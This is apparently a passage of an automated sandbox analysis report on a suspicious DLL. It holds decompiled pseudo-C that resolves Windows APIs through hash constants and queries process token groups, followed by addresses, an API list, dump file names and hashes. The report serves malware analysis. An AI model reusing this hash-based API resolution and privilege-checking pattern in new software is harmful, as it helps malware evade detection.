				long _t207;
				void* _t209;
				void* _t213;
				void* _t214;
				void* _t233;
				void* _t235;
				void* _t236;
				void* _t237;
				void* _t238;
				void* _t239;
				void* _t242;
				void* _t243;
				void* _t245;
				long _t246;
				intOrPtr* _t248;
				long _t249;
				long _t250;
				long _t253;
				long _t255;
				long _t258;
				long _t259;
				long _t261;
				intOrPtr _t266;
				long _t267;
				intOrPtr _t270;
				intOrPtr _t272;
				intOrPtr* _t273;
				intOrPtr _t277;
				intOrPtr* _t278;
				void* _t281;
				signed int _t283;
				void* _t284;
				void* _t285;

				_t272 = __esi;
				_t270 = __edi;
				_t285 = _t284 - 0x38;
				_t246 =  *0x6ebcb1f4; // 0x17a1340
				 *(_t285 + 0x34) = 0;
				if(_t246 == 0xc139578) {
					 *0x6ebcb1f4 = 0;
					goto L6;
				} else {
					if(_t246 == 0) {
						L6:
						_push(0x3ab94787);
						_t196 = E6EBA7564(0x3ab94787);
						if(_t196 == 0) {
							if(E6EBA6C50(0x3ab94787) != 0) {
								_push(0x3ab94787);
								_t196 = E6EBA7564(0x3ab94787);
							}
						}
						if(_t196 == 0) {
							goto L25;
						} else {
							_t285 = _t285 + 0xfffffff8;
							_t248 = E6EBA67C8(_t196, 0xc17c5a6e);
							goto L9;
						}
					} else {
						do {
							_t245 = 0;
							_t194 = 0;
							while( *((intOrPtr*)(_t194 + _t246 + 8)) != 0xc17c5a6e) {
								_t245 = _t245 + 1;
								_t194 = _t194 + 0x18;
								if(_t245 < 0x10) {
									continue;
								} else {
									goto L5;
								}
								goto L186;
							}
							_t248 =  *((intOrPtr*)(_t194 + _t246 + 0x14));
							if(_t248 != 0) {
								L9:
								if(_t248 == 0) {
									L25:
									return 0;
								} else {
									_push(_t285 + 0x34);
									_push(8);
									_push(0xffffffff);
									if( *_t248() == 0) {
										_t93 = E6EBA7BF0(0xea5f6acc, _t272, 0xea5f6acc);
										if(_t93 != 0) {
											L174:
											if(_t93 == 0) {
												goto L178;
											} else {
												asm("int3");
												return _t93;
											}
										} else {
											_push(0xa1310f65);
											_t214 = E6EBA7564(0xa1310f65);
											if(_t214 == 0) {
												if(E6EBA6C50(0xa1310f65) != 0) {
													_push(0xa1310f65);
													_t214 = E6EBA7564(0xa1310f65);
												}
											}
											if(_t214 == 0) {
												L178:
												if(0 != 0) {
													goto L25;
												} else {
													goto L11;
												}
											} else {
												_t285 = _t285 + 0xfffffff8;
												_t93 = E6EBA67C8(_t214, 0xea5f6acc);
												goto L174;
											}
										}
									} else {
										L11:
										_t249 =  *0x6ebcb1f4; // 0x17a1340
										 *(_t285 + 0x28) =  *(_t285 + 0x34);
										 *((char*)(_t285 + 0x2c)) = 1;
										 *(_t285 + 0x30) = 0;
										if(_t249 == 0xc139578) {
											 *0x6ebcb1f4 = 0;
											goto L17;
										} else {
											if(_t249 == 0) {
												L17:
												_push(0x3ab94787);
												_t198 = E6EBA7564(0x3ab94787);
												if(_t198 == 0) {
													if(E6EBA6C50(0x3ab94787) != 0) {
														_push(0x3ab94787);
														_t198 = E6EBA7564(0x3ab94787);
													}
												}
												if(_t198 == 0) {
													goto L22;
												} else {
													_t285 = _t285 + 0xfffffff8;
													_t266 = E6EBA67C8(_t198, 0x2eeff4c6);
													goto L20;
												}
											} else {
												do {
													_t243 = 0;
													_t185 = 0;
													while( *((intOrPtr*)(_t185 + _t249 + 8)) != 0x2eeff4c6) {
														_t243 = _t243 + 1;
														_t185 = _t185 + 0x18;
														if(_t243 < 0x10) {
															continue;
														} else {
															goto L16;
														}
														goto L186;
													}
													_t266 =  *((intOrPtr*)(_t185 + _t249 + 0x14));
													if(_t266 != 0) {
														L20:
														if(_t266 == 0) {
															L22:
															_t99 =  *(_t285 + 0x30);
															if(_t99 != 0) {
																_push(_t99);
																E6EBB9350(_t285 + 4);
																_t250 =  *0x6ebcb1f4; // 0x17a1340
																if(_t250 == 0xc139578) {
																	 *0x6ebcb1f4 = 0;
																	goto L32;
																} else {
																	if(_t250 == 0) {
																		L32:
																		_push(0x3ab94787);
																		_t199 = E6EBA7564(0x3ab94787);
																		if(_t199 == 0) {
																			if(E6EBA6C50(0x3ab94787) != 0) {
																				_push(0x3ab94787);
																				_t199 = E6EBA7564(0x3ab94787);
																			}
																		}
																		if(_t199 == 0) {
																			goto L36;
																		} else {
																			_t285 = _t285 + 0xfffffff8;
																			_t277 = E6EBA67C8(_t199, 0x2eeff4c6);
																			goto L35;
																		}
																	} else {
																		do {
																			_t239 = 0;
																			_t169 = 0;
																			while( *((intOrPtr*)(_t169 + _t250 + 8)) != 0x2eeff4c6) {
																				_t239 = _t239 + 1;
																				_t169 = _t169 + 0x18;
																				if(_t239 < 0x10) {
																					continue;
																				} else {
																					goto L31;
																				}
																				goto L186;
																			}
																			_t277 =  *((intOrPtr*)(_t169 + _t250 + 0x14));
																			if(_t277 != 0) {
																				L35:
																				if(_t277 != 0) {
																					_t109 = E6EBB9640(_t285 + 4, 0);
																					_t112 = GetTokenInformation( *(_t285 + 0x44), 2, _t109, E6EBB9650(_t285), _t285 + 0x30); // executed
																					if(_t112 == 0) {
																						_t253 =  *0x6ebcb1f4; // 0x17a1340
																						if(_t253 == 0xc139578) {
																							 *0x6ebcb1f4 = 0;
																							goto L131;
																						} else {
																							if(_t253 == 0) {
																								L131:
																								_push(0xa1310f65);
																								_t202 = E6EBA7564(0xa1310f65);
																								if(_t202 == 0) {
																									if(E6EBA6C50(0xa1310f65) != 0) {
																										_push(0xa1310f65);
																										_t202 = E6EBA7564(0xa1310f65);
																									}
																								}
																								if(_t202 == 0) {
																									goto L138;
																								} else {
																									_t285 = _t285 + 0xfffffff8;
																									_t163 = E6EBA67C8(_t202, 0xea5f6acc);
																									goto L134;
																								}
																							} else {
																								do {
																									_t238 = 0;
																									_t166 = 0;
																									while( *((intOrPtr*)(_t166 + _t253 + 8)) != 0xea5f6acc) {
																										_t238 = _t238 + 1;
																										_t166 = _t166 + 0x18;
																										if(_t238 < 0x10) {
																											continue;
																										} else {
																											goto L130;
																										}
																										goto L186;
																									}
																									_t163 =  *((intOrPtr*)(_t166 + _t253 + 0x14));
																									if(_t163 != 0) {
																										L134:
																										if(_t163 == 0) {
																											L138:
																											if(0 != 0) {
																												goto L36;
																											} else {
																												goto L40;
																											}
																										} else {
																											asm("int3");
																											return _t163;
																										}
																									} else {
																										goto L131;
																									}
																									goto L186;
																									L130:
																									asm("o16 nop [eax+eax]");
																									_t70 = _t253 + 0x180; // 0x17a8e68
																									_t253 =  *_t70;
																								} while (_t253 != 0);
																								goto L131;
																							}
																						}
																					} else {
																						L40:
																						_t278 = E6EBB9640(_t285 + 4, 0);
																						_t118 =  *0x6ebca148; // 0x0
																						 *((short*)(_t285 + 0x14)) =  *0x6ebca14c & 0x0000ffff;
																						_t255 =  *0x6ebcb1f4; // 0x17a1340
																						 *(_t285 + 0x24) = 0;
																						 *((intOrPtr*)(_t285 + 0x10)) = _t118;
																						if(_t255 == 0xc139578) {
																							 *0x6ebcb1f4 = 0;
																							goto L46;
																						} else {
																							if(_t255 == 0) {
																								L46:
																								_push(0x3ab94787);
																								_t203 = E6EBA7564(0x3ab94787);
																								if(_t203 == 0) {
																									if(E6EBA6C50(0x3ab94787) != 0) {
																										_push(0x3ab94787);
																										_t203 = E6EBA7564(0x3ab94787);
																									}
																								}
																								if(_t203 == 0) {
																									goto L87;
																								} else {
																									_t285 = _t285 + 0xfffffff8;
																									_t205 = E6EBA67C8(_t203, 0xff8924ad);
																									goto L49;
																								}
																							} else {
																								do {
																									_t237 = 0;
																									_t161 = 0;
																									while( *((intOrPtr*)(_t161 + _t255 + 8)) != 0xff8924ad) {
																										_t237 = _t237 + 1;
																										_t161 = _t161 + 0x18;
																										if(_t237 < 0x10) {
																											continue;
																										} else {
																											goto L45;
																										}
																										goto L186;
																									}
																									_t205 =  *((intOrPtr*)(_t161 + _t255 + 0x14));
																									if(_t205 != 0) {
																										L49:
																										if(_t205 == 0) {
																											L87:
																											E6EBB9510(_t285);
																											if( *((char*)(_t285 + 0x2c)) != 0) {
																												E6EBBBE30(_t285 + 0x28, _t272);
																											}
																											return 0;
																										} else {
																											_push(_t285 + 0x24);
																											_push(0);
																											_push(0);
																											_push(0);
																											_push(0);
																											_push(0);
																											_push(0);
																											_push(0x220);
																											_push(0x20);
																											_push(2);
																											_push(_t285 + 0x10);
																											if( *_t205() == 0) {
																												_t258 =  *0x6ebcb1f4; // 0x17a1340
																												if(_t258 == 0xc139578) {
																													 *0x6ebcb1f4 = 0;
																													goto L107;
																												} else {
																													if(_t258 == 0) {
																														L107:
																														_push(0xa1310f65);
																														_t206 = E6EBA7564(0xa1310f65);
																														if(_t206 == 0) {
																															if(E6EBA6C50(0xa1310f65) != 0) {
																																_push(0xa1310f65);
																																_t206 = E6EBA7564(0xa1310f65);
																															}
																														}
																														if(_t206 == 0) {
																															goto L114;
																														} else {
																															_t285 = _t285 + 0xfffffff8;
																															_t155 = E6EBA67C8(_t206, 0xea5f6acc);
																															goto L110;
																														}
																													} else {
																														do {
																															_t236 = 0;
																															_t158 = 0;
																															while( *((intOrPtr*)(_t158 + _t258 + 8)) != 0xea5f6acc) {
																																_t236 = _t236 + 1;
																																_t158 = _t158 + 0x18;
																																if(_t236 < 0x10) {
																																	continue;
																																} else {
																																	goto L106;
																																}
																																goto L186;
																															}
																															_t155 =  *((intOrPtr*)(_t158 + _t258 + 0x14));
																															if(_t155 != 0) {
																																L110:
																																if(_t155 == 0) {
																																	L114:
																																	if(0 != 0) {
																																		goto L87;
																																	} else {
																																		goto L51;
																																	}
																																} else {
																																	asm("int3");
																																	return _t155;
																																}
																															} else {
																																goto L107;
																															}
																															goto L186;
																															L106:
																															asm("o16 nop [eax+eax]");
																															_t63 = _t258 + 0x180; // 0x17a8e68
																															_t258 =  *_t63;
																														} while (_t258 != 0);
																														goto L107;
																													}
																												}
																											} else {
																												L51:
																												_t207 =  *(_t285 + 0x24);
																												if( *_t278 <= 0) {
																													L67:
																													if(_t207 == 0 || _t207 == 0xffffffff) {
																														_t133 = 1;
																													} else {
																														_t133 = 0;
																													}
																													if(_t133 != 0) {
																														L84:
																														E6EBB9510(_t285);
																														if( *((char*)(_t285 + 0x2c)) != 0) {
																															E6EBBBE30(_t285 + 0x28, _t272);
																														}
																														return 0;
																													} else {
																														_t259 =  *0x6ebcb1f4; // 0x17a1340
																														if(_t259 == 0xc139578) {
																															 *0x6ebcb1f4 = 0;
																															goto L79;
																														} else {
																															if(_t259 == 0) {
																																L79:
																																_push(0x3ab94787);
																																_t281 = E6EBA7564(0x3ab94787);
																																if(_t281 == 0) {
																																	if(E6EBA6C50(0x3ab94787) != 0) {
																																		_push(0x3ab94787);
																																		_t281 = E6EBA7564(0x3ab94787);
																																	}
																																}
																																if(_t281 == 0) {
																																	goto L84;
																																} else {
																																	_t285 = _t285 + 0xfffffff8;
																																	_t141 = E6EBA67C8(_t281, 0x9d775c6);
																																	goto L82;
																																}
																															} else {
																																do {
																																	_t233 = 0;
																																	_t144 = 0;
																																	while( *((intOrPtr*)(_t144 + _t259 + 8)) != 0x9d775c6) {
																																		_t233 = _t233 + 1;
																																		_t144 = _t144 + 0x18;
																																		if(_t233 < 0x10) {
																																			continue;
																																		} else {
																																			goto L78;
																																		}
																																		goto L186;
																																	}
																																	_t141 =  *((intOrPtr*)(_t144 + _t259 + 0x14));
																																	if(_t141 != 0) {
																																		L82:
																																		if(_t141 == 0) {
																																			goto L84;
																																		} else {
																																			_push(_t207);
																																			asm("int3");
																																			return _t141;
																																		}
																																	} else {
																																		goto L79;
																																	}
																																	goto L186;
																																	L78:
																																	asm("o16 nop [eax+eax]");
																																	_t52 = _t259 + 0x180; // 0x17a8e68
																																	_t259 =  *_t52;
																																} while (_t259 != 0);
																																goto L79;
																															}
																														}
																													}
																												} else {
																													 *(_t285 + 0x18) = _t207;
																													 *((intOrPtr*)(_t285 + 0x1c)) = _t272;
																													_t273 = _t278;
																													 *((intOrPtr*)(_t285 + 0x20)) = _t270;
																													_t283 = 0;
																													do {
																														_t261 =  *0x6ebcb1f4; // 0x17a1340
																														if(_t261 == 0xc139578) {
																															 *0x6ebcb1f4 = 0;
																															goto L60;
																														} else {
																															if(_t261 == 0) {
																																L60:
																																_push(0x3ab94787);
																																_t209 = E6EBA7564(0x3ab94787);
																																if(_t209 == 0) {
																																	if(E6EBA6C50(0x3ab94787) != 0) {
																																		_push(0x3ab94787);
																																		_t209 = E6EBA7564(0x3ab94787);
																																	}
																																}
																																if(_t209 == 0) {
																																	goto L65;
																																} else {
																																	_t285 = _t285 + 0xfffffff8;
																																	_t150 = E6EBA67C8(_t209, 0x68adfb76);
																																	goto L63;
																																}
																															} else {
																																do {
																																	_t235 = 0;
																																	_t149 = 0;
																																	while( *((intOrPtr*)(_t149 + _t261 + 8)) != 0x68adfb76) {
																																		_t235 = _t235 + 1;
																																		_t149 = _t149 + 0x18;
																																		if(_t235 < 0x10) {
																																			continue;
																																		} else {
																																			goto L59;
																																		}
																																		goto L186;
																																	}
																																	_t150 =  *((intOrPtr*)(_t149 + _t261 + 0x14));
																																	if(_t150 != 0) {
																																		L63:
																																		if(_t150 == 0) {
																																			goto L65;
																																		} else {
																																			_push( *((intOrPtr*)(_t273 + 4 + _t283 * 8)));
																																			_push( *(_t285 + 0x28));
																																			asm("int3");
																																			return _t150;
																																		}
																																	} else {
																																		goto L60;
																																	}
																																	goto L186;
																																	L59:
																																	asm("o16 nop [eax+eax]");
																																	_t42 = _t261 + 0x180; // 0x17a8e68
																																	_t261 =  *_t42;
																																} while (_t261 != 0);
																																goto L60;
																															}
																														}
																														goto L186;
																														L65:
																														_t283 = _t283 + 1;
																													} while (_t283 <  *_t273);
																													_t207 =  *(_t285 + 0x18);
																													_t272 =  *((intOrPtr*)(_t285 + 0x1c));
																													goto L67;
																												}
																											}
																										}
																									} else {
																										goto L46;
																									}
																									goto L186;
																									L45:
																									asm("o16 nop [eax+eax]");
																									_t33 = _t255 + 0x180; // 0x17a8e68
																									_t255 =  *_t33;
																								} while (_t255 != 0);
																								goto L46;
																							}
																						}
																					}
																				} else {
																					L36:
																					E6EBB9510(_t285);
																					if( *((char*)(_t285 + 0x2c)) != 0) {
																						E6EBBBE30(_t285 + 0x28, _t272);
																					}
																					return 0;
																				}
																			} else {
																				goto L32;
																			}
																			goto L186;
																			L31:
																			asm("o16 nop [eax+eax]");
																			_t21 = _t250 + 0x180; // 0x17a8e68
																			_t250 =  *_t21;
																		} while (_t250 != 0);
																		goto L32;
																	}
																}
															} else {
																if( *((char*)(_t285 + 0x2c)) != 0) {
																	E6EBBBE30(_t285 + 0x28, _t272);
																}
																goto L25;
															}
														} else {
															_t174 = GetTokenInformation( *(_t285 + 0x44), 2, 0, 0, _t285 + 0x30); // executed
															if(_t174 == 0) {
																_t267 =  *0x6ebcb1f4; // 0x17a1340
																if(_t267 == 0xc139578) {
																	 *0x6ebcb1f4 = 0;
																	goto L155;
																} else {
																	if(_t267 == 0) {
																		L155:
																		_push(0xa1310f65);
																		_t213 = E6EBA7564(0xa1310f65);
																		if(_t213 == 0) {
																			if(E6EBA6C50(0xa1310f65) != 0) {
																				_push(0xa1310f65);
																				_t213 = E6EBA7564(0xa1310f65);
																			}
																		}
																		if(_t213 == 0) {
																			goto L22;
																		} else {
																			_t285 = _t285 + 0xfffffff8;
																			_t179 = E6EBA67C8(_t213, 0xea5f6acc);
																			goto L158;
																		}
																	} else {
																		do {
																			_t242 = 0;
																			_t182 = 0;
																			while( *((intOrPtr*)(_t182 + _t267 + 8)) != 0xea5f6acc) {
																				_t242 = _t242 + 1;
																				_t182 = _t182 + 0x18;
																				if(_t242 < 0x10) {
																					continue;
																				} else {
																					goto L154;
																				}
																				goto L186;
																			}
																			_t179 =  *((intOrPtr*)(_t182 + _t267 + 0x14));
																			if(_t179 != 0) {
																				L158:
																				if(_t179 == 0) {
																					goto L22;
																				} else {
																					asm("int3");
																					return _t179;
																				}
																			} else {
																				goto L155;
																			}
																			goto L186;
																			L154:
																			asm("o16 nop [eax+eax]");
																			_t77 = _t267 + 0x180; // 0x17a8e68
																			_t267 =  *_t77;
																		} while (_t267 != 0);
																		goto L155;
																	}
																}
															} else {
																goto L22;
															}
														}
													} else {
														goto L17;
													}
													goto L186;
													L16:
													asm("o16 nop [eax+eax]");
													_t12 = _t249 + 0x180; // 0x17a8e68
													_t249 =  *_t12;
												} while (_t249 != 0);
												goto L17;
											}
										}
									}
								}
							} else {
								goto L6;
							}
							goto L186;
							L5:
							asm("o16 nop [eax+eax]");
							_t4 = _t246 + 0x180; // 0x17a8e68
							_t246 =  *_t4;
						} while (_t246 != 0);
						goto L6;
					}
				}
				L186:
			}

0x6eba47b0
0x6eba47b0
0x6eba47b2
0x6eba47b5
0x6eba47bb
0x6eba47c9
0x6eba50e3
0x00000000
0x6eba47cf
0x6eba47d1
0x6eba47fe
0x6eba4803
0x6eba4809
0x6eba480d
0x6eba50ba
0x6eba50c5
0x6eba50cb
0x6eba50cb
0x6eba50ba
0x6eba4815
0x00000000
0x6eba481b
0x6eba4822
0x6eba482a
0x00000000
0x6eba482a
0x6eba47d3
0x6eba47d3
0x6eba47d3
0x6eba47d5
0x6eba47d7
0x6eba47e5
0x6eba47e6
0x6eba47ec
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eba47ec
0x6eba50d2
0x6eba50d8
0x6eba482c
0x6eba482e
0x6eba48fc
0x6eba4903
0x6eba4834
0x6eba4838
0x6eba4839
0x6eba483b
0x6eba4841
0x6eba504d
0x6eba5054
0x6eba507a
0x6eba507c
0x00000000
0x6eba507e
0x6eba507e
0x6eba507f
0x6eba507f
0x6eba5056
0x6eba505b
0x6eba5061
0x6eba5065
0x6eba509d
0x6eba50a4
0x6eba50aa
0x6eba50aa
0x6eba509d
0x6eba5069
0x6eba508d
0x6eba5082
0x00000000
0x6eba5088
0x00000000
0x6eba5088
0x6eba506b
0x6eba5072
0x6eba5075
0x00000000
0x6eba5075
0x6eba5069
0x6eba4847
0x6eba4847
0x6eba484b
0x6eba4851
0x6eba4855
0x6eba485a
0x6eba4868
0x6eba5038
0x00000000
0x6eba486e
0x6eba4870
0x6eba489d
0x6eba48a2
0x6eba48a8
0x6eba48ac
0x6eba500f
0x6eba501a
0x6eba5020
0x6eba5020
0x6eba500f
0x6eba48b4
0x00000000
0x6eba48b6
0x6eba48bd
0x6eba48c5
0x00000000
0x6eba48c5
0x6eba4872
0x6eba4872
0x6eba4872
0x6eba4874
0x6eba4876
0x6eba4884
0x6eba4885
0x6eba488b
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eba488b
0x6eba5027
0x6eba502d
0x6eba48c7
0x6eba48c9
0x6eba48e4
0x6eba48e4
0x6eba48ea
0x6eba4904
0x6eba4909
0x6eba490e
0x6eba491a
0x6eba4f51
0x00000000
0x6eba4920
0x6eba4922
0x6eba494f
0x6eba4954
0x6eba495a
0x6eba495e
0x6eba4f28
0x6eba4f33
0x6eba4f39
0x6eba4f39
0x6eba4f28
0x6eba4966
0x00000000
0x6eba4968
0x6eba496f
0x6eba4977
0x00000000
0x6eba4977
0x6eba4924
0x6eba4924
0x6eba4924
0x6eba4926
0x6eba4928
0x6eba4936
0x6eba4937
0x6eba493d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eba493d
0x6eba4f40
0x6eba4f46
0x6eba4979
0x6eba497b
0x6eba49a3
0x6eba49c1
0x6eba49c5
0x6eba4e71
0x6eba4e7d
0x6eba4f10
0x00000000
0x6eba4e83
0x6eba4e85
0x6eba4eae
0x6eba4eb3
0x6eba4eb9
0x6eba4ebd
0x6eba4ef5
0x6eba4efc
0x6eba4f02
0x6eba4f02
0x6eba4ef5
0x6eba4ec1
0x00000000
0x6eba4ec3
0x6eba4eca
0x6eba4ecd
0x00000000
0x6eba4ecd
0x6eba4e87
0x6eba4e87
0x6eba4e87
0x6eba4e89
0x6eba4e8b
0x6eba4e95
0x6eba4e96
0x6eba4e9c
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eba4e9c
0x6eba4f06
0x6eba4f0c
0x6eba4ed2
0x6eba4ed4
0x6eba4ee5
0x6eba4eda
0x00000000
0x6eba4ee0
0x00000000
0x6eba4ee0
0x6eba4ed6
0x6eba4ed6
0x6eba4ed7
0x6eba4ed7
0x6eba4f0e
0x00000000
0x6eba4f0e
0x00000000
0x6eba4e9e
0x6eba4e9e
0x6eba4ea4
0x6eba4ea4
0x6eba4eaa
0x00000000
0x6eba4e87
0x6eba4e85
0x6eba49cb
0x6eba49cb
0x6eba49d6
0x6eba49df
0x6eba49e4
0x6eba49e9
0x6eba49ef
0x6eba49f7
0x6eba4a01
0x6eba4e62
0x00000000
0x6eba4a07
0x6eba4a09
0x6eba4a36
0x6eba4a3b
0x6eba4a41
0x6eba4a45
0x6eba4e39
0x6eba4e44
0x6eba4e4a
0x6eba4e4a
0x6eba4e39
0x6eba4a4d
0x00000000
0x6eba4a53
0x6eba4a5a
0x6eba4a62
0x00000000
0x6eba4a62
0x6eba4a0b
0x6eba4a0b
0x6eba4a0b
0x6eba4a0d
0x6eba4a0f
0x6eba4a1d
0x6eba4a1e
0x6eba4a24
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eba4a24
0x6eba4e51
0x6eba4e57
0x6eba4a64
0x6eba4a66
0x6eba4bef
0x6eba4bf2
0x6eba4bfc
0x6eba4c02
0x6eba4c02
0x6eba4c0e
0x6eba4a6c
0x6eba4a76
0x6eba4a77
0x6eba4a78
0x6eba4a79
0x6eba4a7a
0x6eba4a7b
0x6eba4a7c
0x6eba4a7d
0x6eba4a82
0x6eba4a84
0x6eba4a86
0x6eba4a8b
0x6eba4d80
0x6eba4d8c
0x6eba4e21
0x00000000
0x6eba4d92
0x6eba4d94
0x6eba4dbf
0x6eba4dc4
0x6eba4dca
0x6eba4dce
0x6eba4e06
0x6eba4e0d
0x6eba4e13
0x6eba4e13
0x6eba4e06
0x6eba4dd2
0x00000000
0x6eba4dd4
0x6eba4ddb
0x6eba4dde
0x00000000
0x6eba4dde
0x6eba4d96
0x6eba4d98
0x6eba4d98
0x6eba4d9a
0x6eba4d9c
0x6eba4da6
0x6eba4da7
0x6eba4dad
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eba4dad
0x6eba4e17
0x6eba4e1d
0x6eba4de3
0x6eba4de5
0x6eba4df6
0x6eba4deb
0x00000000
0x6eba4df1
0x00000000
0x6eba4df1
0x6eba4de7
0x6eba4de7
0x6eba4de8
0x6eba4de8
0x6eba4e1f
0x00000000
0x6eba4e1f
0x00000000
0x6eba4daf
0x6eba4daf
0x6eba4db5
0x6eba4db5
0x6eba4dbb
0x00000000
0x6eba4d98
0x6eba4d94
0x6eba4a91
0x6eba4a91
0x6eba4a91
0x6eba4a99
0x6eba4b47
0x6eba4b49
0x6eba4b54
0x6eba4b50
0x6eba4b50
0x6eba4b50
0x6eba4b5b
0x6eba4bcf
0x6eba4bd2
0x6eba4bdc
0x6eba4be2
0x6eba4be2
0x6eba4bee
0x6eba4b5d
0x6eba4b5d
0x6eba4b69
0x6eba4d2d
0x00000000
0x6eba4b6f
0x6eba4b71
0x6eba4ba0
0x6eba4ba5
0x6eba4bab
0x6eba4baf
0x6eba4d04
0x6eba4d0f
0x6eba4d15
0x6eba4d15
0x6eba4d04
0x6eba4bb7
0x00000000
0x6eba4bb9
0x6eba4bc0
0x6eba4bc3
0x00000000
0x6eba4bc3
0x6eba4b73
0x6eba4b75
0x6eba4b75
0x6eba4b77
0x6eba4b79
0x6eba4b87
0x6eba4b88
0x6eba4b8e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eba4b8e
0x6eba4d1c
0x6eba4d22
0x6eba4bc8
0x6eba4bca
0x00000000
0x6eba4bcc
0x6eba4bcc
0x6eba4bcd
0x6eba4bce
0x6eba4bce
0x6eba4d28
0x00000000
0x6eba4d28
0x00000000
0x6eba4b90
0x6eba4b90
0x6eba4b96
0x6eba4b96
0x6eba4b9c
0x00000000
0x6eba4b75
0x6eba4b71
0x6eba4b69
0x6eba4a9f
0x6eba4aa1
0x6eba4aa5
0x6eba4aa9
0x6eba4aab
0x6eba4aaf
0x6eba4ab1
0x6eba4ab1
0x6eba4abd
0x6eba4d71
0x00000000
0x6eba4ac3
0x6eba4ac5
0x6eba4af4
0x6eba4af9
0x6eba4aff
0x6eba4b03
0x6eba4d48
0x6eba4d53
0x6eba4d59
0x6eba4d59
0x6eba4d48
0x6eba4b0b
0x00000000
0x6eba4b0d
0x6eba4b14
0x6eba4b17
0x00000000
0x6eba4b17
0x6eba4ac7
0x6eba4ac9
0x6eba4ac9
0x6eba4acb
0x6eba4acd
0x6eba4adb
0x6eba4adc
0x6eba4ae2
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eba4ae2
0x6eba4d60
0x6eba4d66
0x6eba4b1c
0x6eba4b1e
0x00000000
0x6eba4b20
0x6eba4b20
0x6eba4b24
0x6eba4b28
0x6eba4b29
0x6eba4b29
0x6eba4d6c
0x00000000
0x6eba4d6c
0x00000000
0x6eba4ae4
0x6eba4ae4
0x6eba4aea
0x6eba4aea
0x6eba4af0
0x00000000
0x6eba4ac9
0x6eba4ac5
0x00000000
0x6eba4b32
0x6eba4b32
0x6eba4b33
0x6eba4b3b
0x6eba4b3f
0x00000000
0x6eba4b43
0x6eba4a99
0x6eba4a8b
0x6eba4e5d
0x00000000
0x6eba4e5d
0x00000000
0x6eba4a26
0x6eba4a26
0x6eba4a2c
0x6eba4a2c
0x6eba4a32
0x00000000
0x6eba4a0b
0x6eba4a09
0x6eba4a01
0x6eba497d
0x6eba497d
0x6eba4980
0x6eba498a
0x6eba4990
0x6eba4990
0x6eba499c
0x6eba499c
0x6eba4f4c
0x00000000
0x6eba4f4c
0x00000000
0x6eba493f
0x6eba493f
0x6eba4945
0x6eba4945
0x6eba494b
0x00000000
0x6eba4924
0x6eba4922
0x6eba48ec
0x6eba48f1
0x6eba48f7
0x6eba48f7
0x00000000
0x6eba48f1
0x6eba48cb
0x6eba48da
0x6eba48de
0x6eba4f60
0x6eba4f6c
0x6eba4fda
0x00000000
0x6eba4f6e
0x6eba4f70
0x6eba4f99
0x6eba4f9e
0x6eba4fa4
0x6eba4fa8
0x6eba4ff2
0x6eba4ff9
0x6eba4fff
0x6eba4fff
0x6eba4ff2
0x6eba4fac
0x00000000
0x6eba4fb2
0x6eba4fb9
0x6eba4fbc
0x00000000
0x6eba4fbc
0x6eba4f72
0x6eba4f72
0x6eba4f72
0x6eba4f74
0x6eba4f76
0x6eba4f80
0x6eba4f81
0x6eba4f87
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6eba4f87
0x6eba4fd0
0x6eba4fd6
0x6eba4fc1
0x6eba4fc3
0x00000000
0x6eba4fc9
0x6eba4fc9
0x6eba4fca
0x6eba4fca
0x6eba4fd8
0x00000000
0x6eba4fd8
0x00000000
0x6eba4f89
0x6eba4f89
0x6eba4f8f
0x6eba4f8f
0x6eba4f95
0x00000000
0x6eba4f72
0x6eba4f70
0x00000000
0x00000000
0x00000000
0x6eba48de
0x6eba5033
0x00000000
0x6eba5033
0x00000000
0x6eba488d
0x6eba488d
0x6eba4893
0x6eba4893
0x6eba4899
0x00000000
0x6eba4872
0x6eba4870
0x6eba4868
0x6eba4841
0x6eba50de
0x00000000
0x6eba50de
0x00000000
0x6eba47ee
0x6eba47ee
0x6eba47f4
0x6eba47f4
0x6eba47fa
0x00000000
0x6eba47d3
0x6eba47d1
0x00000000

APIs

GetTokenInformation.KERNELBASE(?,00000002,00000000,00000000,?), ref: 6EBA48DA
GetTokenInformation.KERNELBASE(?,00000002,00000000,00000000,?,00000000), ref: 6EBA49C1

Memory Dump Source

Source File: 00000000.00000002.771060361.000000006EB91000.00000020.00020000.sdmp, Offset: 6EB90000, based on PE: true

Associated: 00000000.00000002.771046793.000000006EB90000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771178348.000000006EBC5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.771214876.000000006EBCB000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.771236786.000000006EBCC000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: InformationToken
String ID:
API String ID: 4114910276-0
Opcode ID: 9b4fdc4cc4695126f34f8b367a672a4f0834951522925fa439d82ee70fed22db
Instruction ID: d4a47de56c10d800b3ee92cdcf343ec62e11af8d065414b2556ea3b76eb8d810
Opcode Fuzzy Hash: 9b4fdc4cc4695126f34f8b367a672a4f0834951522925fa439d82ee70fed22db
Instruction Fuzzy Hash: 8412172072C3C39BDF54DAED88D076E3E99EB95608F148A3DDB65C7289EF74C8068251

Uniqueness

Uniqueness Score: -1.00%

Function 6EB9543B, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 91
libraryCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E6EB9543B() {
				signed int _t131;
				void* _t134;
				signed int _t142;
				signed int _t152;
				signed int _t153;
				signed int _t154;
				signed int _t155;
				signed int _t160;
				signed int _t161;
				signed int _t162;
				signed int _t163;
				signed int _t170;
				intOrPtr _t171;
				intOrPtr* _t175;
				void* _t190;
				void* _t200;
				intOrPtr _t203;
				signed int _t213;
				signed int _t217;
				void* _t232;
				intOrPtr* _t233;
				signed int _t236;
				unsigned int _t240;
				intOrPtr _t243;
				signed short* _t244;
				signed int _t247;
				void* _t265;
				void* _t273;
				signed int _t276;
				signed int _t277;
				signed int _t280;
				signed int _t281;
				intOrPtr* _t325;
				intOrPtr* _t333;
				signed int _t348;
				signed int _t350;
				signed int _t353;
				intOrPtr* _t385;
				void* _t400;
